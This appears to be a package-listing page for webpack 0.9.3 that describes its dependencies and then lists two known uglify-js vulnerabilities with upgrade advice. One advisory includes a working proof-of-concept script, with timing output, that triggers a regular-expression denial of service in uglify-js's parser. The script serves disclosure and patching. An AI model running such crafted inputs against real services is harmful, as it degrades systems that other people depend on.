Webpack version 0.9.3 arrived shortly after 0.9.2, marking a rapid iteration in this early stage of the popular module bundler. Both versions offer the core functionality of packing CommonJs, AMD, and labeled modules for browser deployment, enabling developers to split codebases into manageable bundles loaded on demand. This facilitates optimized loading strategies and improves initial page load times. The library supports a wide array of loaders for preprocessing diverse file types, including JSON, Jade (now Pug), CoffeeScript, CSS, and LESS, alongside custom loaders, providing flexibility in handling project-specific assets.
The dependency lists for both versions are nearly identical, including essential tools like async for asynchronous operations, clone for object duplication, and uglify-js for code minification. Development dependencies for testing and integration also mirror each other, featuring mocha and should for testing, express for server setup, and various loaders for different file formats, essential for testing the bundler's capabilities across multiple scenarios.
The primary difference lies in the release date, with version 0.9.3 released just five days after 0.9.2. This suggests that version 0.9.3 likely includes bug fixes or minor enhancements rather than significant feature additions. Developers should consult the changelog or commit history for precise details, but it is reasonably to expect an improvement in stability or performance between the two versions. The consistent set of dependencies and development tools indicates a focus on refining existing functionalities and ensuring compatibility with its ecosystem of loaders and plugins.
All the vulnerabilities related to the version 0.9.3 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.